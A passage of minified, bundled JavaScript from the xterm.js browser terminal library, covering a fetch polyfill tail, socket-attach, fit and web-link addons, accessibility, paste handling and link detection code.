u=[];Object.getOwnPropertyNames(t.headers).forEach((function(e){u.push(a(e)),c.setRequestHeader(e,h(t.headers[e]))})),o.headers.forEach((function(e,t){-1===u.indexOf(t)&&c.setRequestHeader(t,e)}))}else o.headers.forEach((function(e,t){c.setRequestHeader(t,e)}));o.signal&&(o.signal.addEventListener("abort",d),c.onreadystatechange=function(){4===c.readyState&&o.signal.removeEventListener("abort",d)}),c.send(void 0===o._bodyInit?null:o._bodyInit)}))}y.polyfill=!0,s.fetch||(s.fetch=y,s.Headers=l,s.Request=g,s.Response=S)},875:e=>{var t;self,t=()=>(()=>{"use strict";var e={};return(()=>{var t=e;function i(e,t,i){return e.addEventListener(t,i),{dispose:()=>{i&&e.removeEventListener(t,i)}}}Object.defineProperty(t,"__esModule",{value:!0}),t.AttachAddon=void 0,t.AttachAddon=class{constructor(e,t){this._disposables=[],this._socket=e,this._socket.binaryType="arraybuffer",this._bidirectional=!(t&&!1===t.bidirectional)}activate(e){this._disposables.push(i(this._socket,"message",(t=>{const i=t.data;e.write("string"==typeof i?i:new Uint8Array(i))}))),this._bidirectional&&(this._disposables.push(e.onData((e=>this._sendData(e)))),this._disposables.push(e.onBinary((e=>this._sendBinary(e))))),this._disposables.push(i(this._socket,"close",(()=>this.dispose()))),this._disposables.push(i(this._socket,"error",(()=>this.dispose())))}dispose(){for(const e of this._disposables)e.dispose()}_sendData(e){this._checkOpenSocket()&&this._socket.send(e)}_sendBinary(e){if(!this._checkOpenSocket())return;const t=new Uint8Array(e.length);for(let i=0;i<e.length;++i)t[i]=255&e.charCodeAt(i);this._socket.send(t)}_checkOpenSocket(){switch(this._socket.readyState){case WebSocket.OPEN:return!0;case WebSocket.CONNECTING:throw new Error("Attach addon was loaded before socket was open");case WebSocket.CLOSING:return console.warn("Attach addon socket is closing"),!1;case WebSocket.CLOSED:throw new Error("Attach addon socket is closed");default:throw new Error("Unexpected socket state")}}}})(),e})(),e.exports=t()},195:e=>{var t;self,t=()=>(()=>{"use strict";var e,t={};return e=t,Object.defineProperty(e,"__esModule",{value:!0}),e.FitAddon=void 0,e.FitAddon=class{activate(e){this._terminal=e}dispose(){}fit(){const e=this.proposeDimensions();if(!e||!this._terminal||isNaN(e.cols)||isNaN(e.rows))return;const t=this._terminal._core;this._terminal.rows===e.rows&&this._terminal.cols===e.cols||(t._renderService.clear(),this._terminal.resize(e.cols,e.rows))}proposeDimensions(){if(!this._terminal)return;if(!this._terminal.element||!this._terminal.element.parentElement)return;const e=this._terminal._core,t=e._renderService.dimensions;if(0===t.css.cell.width||0===t.css.cell.height)return;const i=0===this._terminal.options.scrollback?0:e.viewport.scrollBarWidth,s=window.getComputedStyle(this._terminal.element.parentElement),r=parseInt(s.getPropertyValue("height")),n=Math.max(0,parseInt(s.getPropertyValue("width"))),o=window.getComputedStyle(this._terminal.element),a=r-(parseInt(o.getPropertyValue("padding-top"))+parseInt(o.getPropertyValue("padding-bottom"))),h=n-(parseInt(o.getPropertyValue("padding-right"))+parseInt(o.getPropertyValue("padding-left")))-i;return{cols:Math.max(2,Math.floor(h/t.css.cell.width)),rows:Math.max(1,Math.floor(a/t.css.cell.height))}}},t})(),e.exports=t()},727:e=>{var t;self,t=()=>(()=>{"use strict";var e={6:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.LinkComputer=t.WebLinkProvider=void 0,t.WebLinkProvider=class{constructor(e,t,i,s={}){this._terminal=e,this._regex=t,this._handler=i,this._options=s}provideLinks(e,t){const s=i.computeLink(e,this._regex,this._terminal,this._handler);t(this._addCallbacks(s))}_addCallbacks(e){return e.map((e=>(e.leave=this._options.leave,e.hover=(t,i)=>{if(this._options.hover){const{range:s}=e;this._options.hover(t,i,s)}},e)))}};class i{static computeLink(e,t,s,r){const n=new RegExp(t.source,(t.flags||"")+"g"),[o,a]=i._getWindowedLineStrings(e-1,s),h=o.join("");let c;const l=[];for(;c=n.exec(h);){const t=c[0];try{const e=new URL(t),i=decodeURI(e.toString());if(t!==i&&t+"/"!==i)continue}catch(e){continue}const[n,o]=i._mapStrIdx(s,a,0,c.index),[h,d]=i._mapStrIdx(s,n,o,t.length);if(-1===n||-1===o||-1===h||-1===d)continue;const u={start:{x:o+1,y:n+1},end:{x:d,y:h+1}};l.push({range:u,text:t,activate:r})}return l}static _getWindowedLineStrings(e,t){let i,s=e,r=e,n=0,o="";const a=[];if(i=t.buffer.active.getLine(e)){const e=i.translateToString(!0);if(i.isWrapped&&" "!==e[0]){for(n=0;(i=t.buffer.active.getLine(--s))&&n<2048&&(o=i.translateToString(!0),n+=o.length,a.push(o),i.isWrapped&&-1===o.indexOf(" ")););a.reverse()}for(a.push(e),n=0;(i=t.buffer.active.getLine(++r))&&i.isWrapped&&n<2048&&(o=i.translateToString(!0),n+=o.length,a.push(o),-1===o.indexOf(" ")););}return[a,s]}static _mapStrIdx(e,t,i,s){const r=e.buffer.active,n=r.getNullCell();let o=i;for(;s;){const e=r.getLine(t);if(!e)return[-1,-1];for(let i=o;i<e.length;++i){e.getCell(i,n);const o=n.getChars();if(n.getWidth()&&(s-=o.length||1,i===e.length-1&&""===o)){const e=r.getLine(t+1);e&&e.isWrapped&&(e.getCell(0,n),2===n.getWidth()&&(s+=1))}if(s<0)return[t,i]}t++,o=0}return[t,o]}}t.LinkComputer=i}},t={};function i(s){var r=t[s];if(void 0!==r)return r.exports;var n=t[s]={exports:{}};return e[s](n,n.exports,i),n.exports}var s={};return(()=>{var e=s;Object.defineProperty(e,"__esModule",{value:!0}),e.WebLinksAddon=void 0;const t=i(6),r=/https?:[/]{2}[^\s"'!*(){}|\\\^<>`]*[^\s"':,.!?{}|\\\^~\[\]`()<>]/;function n(e,t){const i=window.open();if(i){try{i.opener=null}catch(e){}i.location.href=t}else console.warn("Opening link blocked as opener could not be cleared")}e.WebLinksAddon=class{constructor(e=n,t={}){this._handler=e,this._options=t}activate(e){this._terminal=e;const i=this._options,s=i.urlRegex||r;this._linkProvider=this._terminal.registerLinkProvider(new t.WebLinkProvider(this._terminal,s,this._handler,i))}dispose(){var e;null===(e=this._linkProvider)||void 0===e||e.dispose()}}})(),s})(),e.exports=t()},975:e=>{var t;self,t=()=>(()=>{"use strict";var e={4567:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.AccessibilityManager=void 0;const n=i(9042),o=i(6114),a=i(9924),h=i(844),c=i(5596),l=i(4725),d=i(3656);let u=t.AccessibilityManager=class extends h.Disposable{constructor(e,t){super(),this._terminal=e,this._renderService=t,this._liveRegionLineCount=0,this._charsToConsume=[],this._charsToAnnounce="",this._accessibilityContainer=document.createElement("div"),this._accessibilityContainer.classList.add("xterm-accessibility"),this._rowContainer=document.createElement("div"),this._rowContainer.setAttribute("role","list"),this._rowContainer.classList.add("xterm-accessibility-tree"),this._rowElements=[];for(let e=0;e<this._terminal.rows;e++)this._rowElements[e]=this._createAccessibilityTreeNode(),this._rowContainer.appendChild(this._rowElements[e]);if(this._topBoundaryFocusListener=e=>this._handleBoundaryFocus(e,0),this._bottomBoundaryFocusListener=e=>this._handleBoundaryFocus(e,1),this._rowElements[0].addEventListener("focus",this._topBoundaryFocusListener),this._rowElements[this._rowElements.length-1].addEventListener("focus",this._bottomBoundaryFocusListener),this._refreshRowsDimensions(),this._accessibilityContainer.appendChild(this._rowContainer),this._liveRegion=document.createElement("div"),this._liveRegion.classList.add("live-region"),this._liveRegion.setAttribute("aria-live","assertive"),this._accessibilityContainer.appendChild(this._liveRegion),this._liveRegionDebouncer=this.register(new a.TimeBasedDebouncer(this._renderRows.bind(this))),!this._terminal.element)throw new Error("Cannot enable accessibility before Terminal.open");this._terminal.element.insertAdjacentElement("afterbegin",this._accessibilityContainer),this.register(this._terminal.onResize((e=>this._handleResize(e.rows)))),this.register(this._terminal.onRender((e=>this._refreshRows(e.start,e.end)))),this.register(this._terminal.onScroll((()=>this._refreshRows()))),this.register(this._terminal.onA11yChar((e=>this._handleChar(e)))),this.register(this._terminal.onLineFeed((()=>this._handleChar("\n")))),this.register(this._terminal.onA11yTab((e=>this._handleTab(e)))),this.register(this._terminal.onKey((e=>this._handleKey(e.key)))),this.register(this._terminal.onBlur((()=>this._clearLiveRegion()))),this.register(this._renderService.onDimensionsChange((()=>this._refreshRowsDimensions()))),this._screenDprMonitor=new c.ScreenDprMonitor(window),this.register(this._screenDprMonitor),this._screenDprMonitor.setListener((()=>this._refreshRowsDimensions())),this.register((0,d.addDisposableDomListener)(window,"resize",(()=>this._refreshRowsDimensions()))),this._refreshRows(),this.register((0,h.toDisposable)((()=>{this._accessibilityContainer.remove(),this._rowElements.length=0})))}_handleTab(e){for(let t=0;t<e;t++)this._handleChar(" ")}_handleChar(e){this._liveRegionLineCount<21&&(this._charsToConsume.length>0?this._charsToConsume.shift()!==e&&(this._charsToAnnounce+=e):this._charsToAnnounce+=e,"\n"===e&&(this._liveRegionLineCount++,21===this._liveRegionLineCount&&(this._liveRegion.textContent+=n.tooMuchOutput)),o.isMac&&this._liveRegion.textContent&&this._liveRegion.textContent.length>0&&!this._liveRegion.parentNode&&setTimeout((()=>{this._accessibilityContainer.appendChild(this._liveRegion)}),0))}_clearLiveRegion(){this._liveRegion.textContent="",this._liveRegionLineCount=0,o.isMac&&this._liveRegion.remove()}_handleKey(e){this._clearLiveRegion(),/\p{Control}/u.test(e)||this._charsToConsume.push(e)}_refreshRows(e,t){this._liveRegionDebouncer.refresh(e,t,this._terminal.rows)}_renderRows(e,t){const i=this._terminal.buffer,s=i.lines.length.toString();for(let r=e;r<=t;r++){const e=i.translateBufferLineToString(i.ydisp+r,!0),t=(i.ydisp+r+1).toString(),n=this._rowElements[r];n&&(0===e.length?n.innerText=" ":n.textContent=e,n.setAttribute("aria-posinset",t),n.setAttribute("aria-setsize",s))}this._announceCharacters()}_announceCharacters(){0!==this._charsToAnnounce.length&&(this._liveRegion.textContent+=this._charsToAnnounce,this._charsToAnnounce="")}_handleBoundaryFocus(e,t){const i=e.target,s=this._rowElements[0===t?1:this._rowElements.length-2];if(i.getAttribute("aria-posinset")===(0===t?"1":`${this._terminal.buffer.lines.length}`))return;if(e.relatedTarget!==s)return;let r,n;if(0===t?(r=i,n=this._rowElements.pop(),this._rowContainer.removeChild(n)):(r=this._rowElements.shift(),n=i,this._rowContainer.removeChild(r)),r.removeEventListener("focus",this._topBoundaryFocusListener),n.removeEventListener("focus",this._bottomBoundaryFocusListener),0===t){const e=this._createAccessibilityTreeNode();this._rowElements.unshift(e),this._rowContainer.insertAdjacentElement("afterbegin",e)}else{const e=this._createAccessibilityTreeNode();this._rowElements.push(e),this._rowContainer.appendChild(e)}this._rowElements[0].addEventListener("focus",this._topBoundaryFocusListener),this._rowElements[this._rowElements.length-1].addEventListener("focus",this._bottomBoundaryFocusListener),this._terminal.scrollLines(0===t?-1:1),this._rowElements[0===t?1:this._rowElements.length-2].focus(),e.preventDefault(),e.stopImmediatePropagation()}_handleResize(e){this._rowElements[this._rowElements.length-1].removeEventListener("focus",this._bottomBoundaryFocusListener);for(let e=this._rowContainer.children.length;e<this._terminal.rows;e++)this._rowElements[e]=this._createAccessibilityTreeNode(),this._rowContainer.appendChild(this._rowElements[e]);for(;this._rowElements.length>e;)this._rowContainer.removeChild(this._rowElements.pop());this._rowElements[this._rowElements.length-1].addEventListener("focus",this._bottomBoundaryFocusListener),this._refreshRowsDimensions()}_createAccessibilityTreeNode(){const e=document.createElement("div");return e.setAttribute("role","listitem"),e.tabIndex=-1,this._refreshRowDimensions(e),e}_refreshRowsDimensions(){if(this._renderService.dimensions.css.cell.height){this._accessibilityContainer.style.width=`${this._renderService.dimensions.css.canvas.width}px`,this._rowElements.length!==this._terminal.rows&&this._handleResize(this._terminal.rows);for(let e=0;e<this._terminal.rows;e++)this._refreshRowDimensions(this._rowElements[e])}}_refreshRowDimensions(e){e.style.height=`${this._renderService.dimensions.css.cell.height}px`}};t.AccessibilityManager=u=s([r(1,l.IRenderService)],u)},3614:(e,t)=>{function i(e){return e.replace(/\r?\n/g,"\r")}function s(e,t){return t?"[200~"+e+"[201~":e}function r(e,t,r,n){e=s(e=i(e),r.decPrivateModes.bracketedPasteMode&&!0!==n.rawOptions.ignoreBracketedPasteMode),r.triggerDataEvent(e,!0),t.value=""}function n(e,t,i){const s=i.getBoundingClientRect(),r=e.clientX-s.left-10,n=e.clientY-s.top-10;t.style.width="20px",t.style.height="20px",t.style.left=`${r}px`,t.style.top=`${n}px`,t.style.zIndex="1000",t.focus()}Object.defineProperty(t,"__esModule",{value:!0}),t.rightClickHandler=t.moveTextAreaUnderMouseCursor=t.paste=t.handlePasteEvent=t.copyHandler=t.bracketTextForPaste=t.prepareTextForTerminal=void 0,t.prepareTextForTerminal=i,t.bracketTextForPaste=s,t.copyHandler=function(e,t){e.clipboardData&&e.clipboardData.setData("text/plain",t.selectionText),e.preventDefault()},t.handlePasteEvent=function(e,t,i,s){e.stopPropagation(),e.clipboardData&&r(e.clipboardData.getData("text/plain"),t,i,s)},t.paste=r,t.moveTextAreaUnderMouseCursor=n,t.rightClickHandler=function(e,t,i,s,r){n(e,t,i),r&&s.rightClickSelect(e),t.value=s.selectionText,t.select()}},7239:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.ColorContrastCache=void 0;const s=i(1505);t.ColorContrastCache=class{constructor(){this._color=new s.TwoKeyMap,this._css=new s.TwoKeyMap}setCss(e,t,i){this._css.set(e,t,i)}getCss(e,t){return this._css.get(e,t)}setColor(e,t,i){this._color.set(e,t,i)}getColor(e,t){return this._color.get(e,t)}clear(){this._color.clear(),this._css.clear()}}},3656:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.addDisposableDomListener=void 0,t.addDisposableDomListener=function(e,t,i,s){e.addEventListener(t,i,s);let r=!1;return{dispose:()=>{r||(r=!0,e.removeEventListener(t,i,s))}}}},6465:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.Linkifier2=void 0;const n=i(3656),o=i(8460),a=i(844),h=i(2585);let c=t.Linkifier2=class extends a.Disposable{get currentLink(){return this._currentLink}constructor(e){super(),this._bufferService=e,this._linkProviders=[],this._linkCacheDisposables=[],this._isMouseOut=!0,this._wasResized=!1,this._activeLine=-1,this._onShowLinkUnderline=this.register(new o.EventEmitter),this.onShowLinkUnderline=this._onShowLinkUnderline.event,this._onHideLinkUnderline=this.register(new o.EventEmitter),this.onHideLinkUnderline=this._onHideLinkUnderline.event,this.register((0,a.getDisposeArrayDisposable)(this._linkCacheDisposables)),this.register((0,a.toDisposable)((()=>{this._lastMouseEvent=void 0}))),this.register(this._bufferService.onResize((()=>{this._clearCurrentLink(),this._wasResized=!0})))}registerLinkProvider(e){return this._linkProviders.push(e),{dispose:()=>{const t=this._linkProviders.indexOf(e);-1!==t&&this._linkProviders.splice(t,1)}}}attachToDom(e,t,i){this._element=e,this._mouseService=t,this._renderService=i,this.register((0,n.addDisposableDomListener)(this._element,"mouseleave",(()=>{this._isMouseOut=!0,this._clearCurrentLink()}))),this.register((0,n.addDisposableDomListener)(this._element,"mousemove",this._handleMouseMove.bind(this))),this.register((0,n.addDisposableDomListener)(this._element,"mousedown",this._handleMouseDown.bind(this))),this.register((0,n.addDisposableDomListener)(this._element,"mouseup",this._handleMouseUp.bind(this)))}_handleMouseMove(e){if(this._lastMouseEvent=e,!this._element||!this._mouseService)return;const t=this._positionFromMouseEvent(e,this._element,this._mouseService);if(!t)return;this._isMouseOut=!1;const i=e.composedPath();for(let e=0;e<i.length;e++){const t=i[e];if(t.classList.contains("xterm"))break;if(t.classList.contains("xterm-hover"))return}this._lastBufferCell&&t.x===this._lastBufferCell.x&&t.y===this._lastBufferCell.y||(this._handleHover(t),this._lastBufferCell=t)}_handleHover(e){if(this._activeLine!==e.y||this._wasResized)return this._clearCurrentLink(),this._askForLink(e,!1),void(this._wasResized=!1);this._currentLink&&this._linkAtPosition(this._currentLink.link,e)||(this._clearCurrentLink(),this._askForLink(e,!0))}_askForLink(e,t){var i,s;this._activeProviderReplies&&t||(null===(i=this._activeProviderReplies)||void 0===i||i.forEach((e=>{null==e||e.forEach((e=>{e.link.dispose&&e.link.dispose()}))})),this._activeProviderReplies=new Map,this._activeLine=e.y);let r=!1;for(const[i,n]of this._linkProviders.entries())t?(null===(s=this._activeProviderReplies)||void 0===s?void 0:s.get(i))&&(r=this._checkLinkProviderResult(i,e,r)):n.provideLinks(e.y,(t=>{var s,n;if(this._isMouseOut)return;const o=null==t?void 0:t.map((e=>({link:e})));null===(s=this._activeProviderReplies)||void 0===s||s.set(i,o),r=this._checkLinkProviderResult(i,e,r),(null===(n=this._activeProviderReplies)||void 0===n?void 0:n.size)===this._linkProviders.length&&this._removeIntersectingLinks(e.y,this._activeProviderReplies)}))}_removeIntersectingLinks(e,t){const i=new Set;for(let s=0;s<t.size;s++){const r=t.get(s);if(r)for(let t=0;t<r.length;t++){const s=r[t],n=s.link.range.start.y<e?0:s.link.range.start.x,o=s.link.range.end.y>e?this._bufferService.cols:s.link.range.end.x;for(let e=n;e<=o;e++){if(i.has(e)){r.splice(t--,1);break}i.add(e)}}}}_checkLinkProviderResult(e,t,i){var s;if(!this._activeProviderReplies)return i;const r=this._activeProviderReplies.get(e);let n=!1;for(let t=0;t<e;t++)this._activeProviderReplies.has(t)&&!this._activeProviderReplies.get(t)||(n=!0);if(!n&&r){const e=r.find((e=>this._linkAtPosition(e.link,t)));e&&(i=!0,this._handleNewLink(e))}if(this._activeProviderReplies.size===this._linkProviders.length&&!i)for(let e=0;e<this._activeProviderReplies.size;e++){const r=null===(s=this._activeProviderReplies.get(e))||void 0===s?void 0:s.find((e=>this._linkAtPosition(e.link,t)));if(r){i=!0,this._handleNewLink(r);break}}return i}_handleMouseDown(){this._mouseDownLink=this._currentLink}_handleMouseUp(e){if(!this._element||!this._mouseService||!this._currentLink)return;const t=this._positionFromMouseEvent(e,this._element,this._mouseService);t&&this._mouseDownLink===this._currentLink&&this._linkAtPosition(this._currentLink.link,t)&&this._currentLink.link.activate(e,this._currentLink.link.text)}_clearCurrentLink(e,t){this._element&&this._currentLink&&this._lastMouseEvent&&(!e||!t||this._currentLink.link.range.start.y>=e&&this._currentLink.link.range.end.y<=t)&&(this._linkLeave(this._element,this._currentLink.link,this._lastMouseEvent),this._currentLink=void 0,(0,a.disposeArray)(this._linkCacheDisposables))}_handleNewLink(e){if(!this._element||!this._lastMouseEvent||!this._mouseService)return;const t=this._positionFromMouseEvent(this._lastMouseEvent,this._element,this._mouseService);t&&this._linkAtPosition(e.link,t)&&(this._currentLink=e,this._currentLink.state={decorations:{underline:void 0===e.link.decorations||e.link.decorations.underline,pointerCursor:void 0===e.link.decorations||e.link.decorations.pointerCursor},isHovered:!0},this._linkHover(this._element,e.link,this._lastMouseEvent),e.link.decorations={},Object.defineProperties(e.link.decorations,{pointerCursor:{get:()=>{var e,t;return null===(t=null===(e=this._currentLink)||void 0===e?void 0:e.state)||void 0===t?void 0:t.decorations.pointerCursor},set:e=>{var t,i;(null===(t=this._currentLink)||void 0===t?void 0:t.state)&&this._currentLink.state.decorations.pointerCursor!==e&&(this._currentLink.state.decorations.pointerCursor=e,this._currentLink.state.isHovered&&(null===(i=this._element)||void 0===i||i.classList.toggle("xterm-cursor-pointer",e)))}},underline:{get:()=>{var e,t;return null===(t=null===(e=this._currentLink)||void 0===e?void 0:e.state)||void 0===t?void 0:t.decorations.underline},set:t=>{var i,s,r;(null===(i=this._currentLink)||void 0===i?void 0:i.state)&&(null===(r=null===(s=this._currentLink)||void 0===s?void 0:s.state)||void 0===r?void 0:r.decorations.underline)!==t&&(this._currentLink.state.decorations.underline=t,this._currentLink.state.isHovered&&this._fireUnderlineEvent(e.link,t))}}}),this._renderService&&this._linkCacheDisposables.push(this._renderService.onRenderedViewportChange((e=>{if(!this._currentLink)return;const t=0===e.start?0:e.start+1+this._bufferService.buffer.ydisp,i=this._bufferService.buffer.ydisp+1+e.end;if(this._currentLink.link.range.start.y>=t&&this._currentLink.link.range.end.y<=i&&(this._clearCurrentLink(t,i),this._lastMouseEvent&&this._element)){const e=this._positionFromMouseEvent(this._lastMouseEvent,this._element,this._mouseService);e&&this._askForLink(e,!1)}}))))}_linkHover(e,t,i){var s;(null===(s=this._currentLink)||void 0===s?void 0:s.state)&&(this._currentLink.state.isHovered=!0,this._currentLink.state.decorations.underline&&this._fireUnderlineEvent(t,!0),this._currentLink.state.decorations.pointerCursor&&e.classList.add("xterm-cursor-pointer")),t.hover&&t.hover(i,t.text)}_fireUnderlineEvent(e,t){const i=e.range,s=this._bufferService.buffer.ydisp,r=this._createLinkUnderlineEvent(i.start.x-1,i.start.y-s-1,i.end.x,i.end.y-s-1,void 0);(t?this._onShowLinkUnderline:this._onHideLinkUnderline).fire(r)}_linkLeave(e,t,i){var s;(null===(s=this._currentLink)||void 0===s?void 0:s.state)&&(this._currentLink.state.isHovered=!1,this._currentLink.state.decorations.underline&&this._fireUnderlineEvent(t,!1),this._currentLink.state.decorations.pointerCursor&&e.classList.remove("xterm-cursor-pointer")),t.leave&&t.leave(i,t.text)}_linkAtPosition(e,t){const i=e.range.start.y*this._bufferService.cols+e.range.start.x,s=e.range.end.y*this._bufferService.cols+e.range.end.x,r=t.y*this._bufferService.cols+t.x;return i<=r&&r<=s}_positionFromMouseEvent(e,t,i){const s=i.getCoords(e,t,this._bufferService.cols,this._bufferService.rows);if(s)return{x:s[0],y:s[1]+this._bufferService.buffer.ydisp}}_createLinkUnderlineEvent(e,t,i,s,r){return{x1:e,y1:t,x2:i,y2:s,cols:this._bufferService.cols,fg:r}}};t.Linkifier2=c=s([r(0,h.IBufferService)],c)},9042:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.tooMuchOutput=t.promptLabel=void 0,t.promptLabel="Terminal input",t.tooMuchOutput="Too much output to announce, navigate to rows manually to read"},3730:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.OscLinkProvider=void 0;const n=i(511),o=i(2585);let a=t.OscLinkProvider=class{constructor(e,t,i){this._bufferService=e,this._optionsService=t,this._oscLinkService=i}provideLinks(e,t){var i;const s=this._bufferService.buffer.lines.get(e-1);if(!s)return void t(void 0);const r=[],o=this._optionsService.rawOptions.linkHandler,a=new n.CellData,c=s.getTrimmedLength();let l=-1,d=-1,u=!1;for(let t=0;t<c;t++)if(-1!==d||s.hasContent(t)){if(s.loadCell(t,a),a.hasExtendedAttrs()&&a.extended.urlId){if(-1===d){d=t,l=a.extended.urlId;continue}u=a.extended.urlId!==l}else-1!==d&&(u=!0);if(u||-1!==d&&t===c-1){const s=null===(i=this._oscLinkService.getLinkData(l))||void 0===i?void 0:i.uri;if(s){const i={start:{x:d+1,y:e},end:{x:t+(u||t!==c-1?0:1),y:e}};let n=!1;if(!(null==o?void 0:o.allowNonHttpProtocols))try{const e=new URL(s);["http:","https:"].includes(e.protocol)||(n=!0)}catch(e){n=!0}n||r.push({text:s,range:i,activate:(e,t)=>o?o.activate(e,t,i):h(0,t),hover:(e,t)=>{var s;return null===(s=null==o?void 0:o.hover)||void 0===s?void 0:s.call(o,e,t,i)},leave:(e,t)=>{var s;return null===(s=null==o?void 0:o.leave)||void 0===s?void 0:s.call(o,e,t,i)}})}u=!1,a.hasExtendedAttrs()&&a.extended.urlId?(d=t,l=a.extended.urlId):(d=-1,l=-1)}}t(r)}};function h(e,t){if(confirm(`Do you want to navigate to ${t}?\n\nWARNING: This link could potentially be dangerous`)){const i=window.open();if(i){try{i.opener=null}catch(e){}i.location.href=t}else console.warn("Opening link blocked as opener could not be cleared")}}t.OscLinkProvider=a=s([r(0,o.IBufferService),r(1,o.IOptionsService),r(2,o.IOscLinkService)],a)},6193:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.RenderDebouncer=void 0,t.RenderDebouncer=class{constructor(e,t){this._parentWindow=e,this._renderCallback=t,this._refreshCallbacks=[]}dispose(){this._animationFrame&&(this._parentWindow.cancelAnimationFrame(this._animationFrame),this._animationFrame=void 0)}addRefreshCallback(e){return this._refreshCallbacks.push(e),this._animationFrame||(this._animationFrame=this._parentWindow.requestAnimationFrame((()=>this._innerRefresh()))),this._animationFrame}refresh(e,t,i){this._rowCount=i,e=void 0!==e?e:0,t=void 0!==t?t:this._rowCount-1,this._rowStart=void 0!==this._rowStart?Math.min(this._rowStart,e):e,this._rowEnd=void 0!==this._rowEnd?Math.max(this._rowEnd,t):t,this._animationFrame||(this._animationFrame=this._parentWindow.requestAnimationFrame((()=>this._innerRefresh())))}_innerRefresh(){if(this._animationFrame=void 0,void 0===this._rowStart||void 0===this._rowEnd||void 0===this._rowCount)return void this._runRefreshCallbacks();const e=Math.max(this._rowStart,0),t=Math.min(this._rowEnd,this._rowCount-1);this._rowStart=void 0,this._rowEnd=void 0,this._renderCallback(e,t),this._runRefreshCallbacks()}_runRefreshCallbacks(){for(const e of this._refreshCallbacks)e(0);this._refreshCallbacks=[]}}},5596:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.ScreenDprMonitor=void 0;const s=i(844);class r extends s.Disposable{constructor(e){super(),this._parentWindow=e,this._currentDevicePixelRatio=this._parentWindow.devicePixelRatio,this.register((0,s.toDisposable)((()=>{this.clearListener()})))}setListener(e){this._listener&&this.clearListener(),this._listener=e,this._outerListener=()=>{this._listener&&(this._listener(this._parentWindow.devicePixelRatio,this._currentDevicePixelRatio),this._updateDpr())},this._updateDpr()}_updateDpr(){var e;this._outerListener&&(null===(e=this._resolutionMediaMatchList)||void 0===e||e.removeListener(this._outerListener),this._currentDevicePixelRatio=this._parentWindow.devicePixelRatio,this._resolutionMediaMatchList=this._parentWindow.matchMedia(`screen and (resolution: ${this._parentWindow.devicePixelRatio}dppx)`),this._resolutionMediaMatchList.addListener(this._outerListener))}clearListener(){this._resolutionMediaMatchList&&this._listener&&this._outerListener&&(this._resolutionMediaMatchList.removeListener(this._outerListener),this._resolutionMediaMatchList=void 0,this._listener=void 0,this._outerListener=void 0)}}t.ScreenDprMonitor=r},3236:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.Terminal=void 0;const s=i(3614),r=i(3656),n=i(6465),o=i(9042),a=i(3730),h=i(1680),c=i(3107),l=i(5744),d=i(2950),u=i(1296),_=i(428),f=i(4269),v=i(5114),p=i(8934),g=i(3230),m=i(9312),S=i(4725),b=i(6731),C=i(8055),y=i(8969),w=i(8460),E=i(844),k=i(6114),x=i(8437),L=i(2584),D=i(7399),A=i(5941),R=i(9074),T=i(2585),B=i(5435),M=i(4567),O="undefined"!=typeof window?window.document:null;class P extends y.CoreTerminal{get onFocus(){return this._onFocus.event}get onBlur(){return this._onBlur.event}get onA11yChar(){return this._onA11yCharEmitter.event}get onA11yTab(){return this._onA11yTabEmitter.event}get onWillOpen(){return this._onWillOpen.event}constructor(e={}){super(e),this.browser=k,this._keyDownHandled=!1,this._keyDownSeen=!1,this._keyPressHandled=!1,this._unprocessedDeadKey=!1,this._accessibilityManager=this.register(new E.MutableDisposable),this._onCursorMove=this.register(new w.EventEmitter),this.onCursorMove=this._onCursorMove.event,this._onKey=this.register(new w.EventEmitter),this.onKey=this._onKey.event,this._onRender=this.register(new w.EventEmitter),this.onRender=this._onRender.event,this._onSelectionChange=this.register(new w.EventEmitter),this.onSelectionChange=this._onSelectionChange.event,this._onTitleChange=this.register(new w.EventEmitter),this.onTitleChange=this._onTitleChange.event,this._onBell=this.register(new w.EventEmitter),this.onBell=this._onBell.event,this._onFocus=this.register(new w.EventEmitter),this._onBlur=this.register(new w.EventEmitter),this._onA11yCharEmitter=this.register(new w.EventEmitter),this._onA11yTabEmitter=this.register(new w.EventEmitter),this._onWillOpen=this.register(new 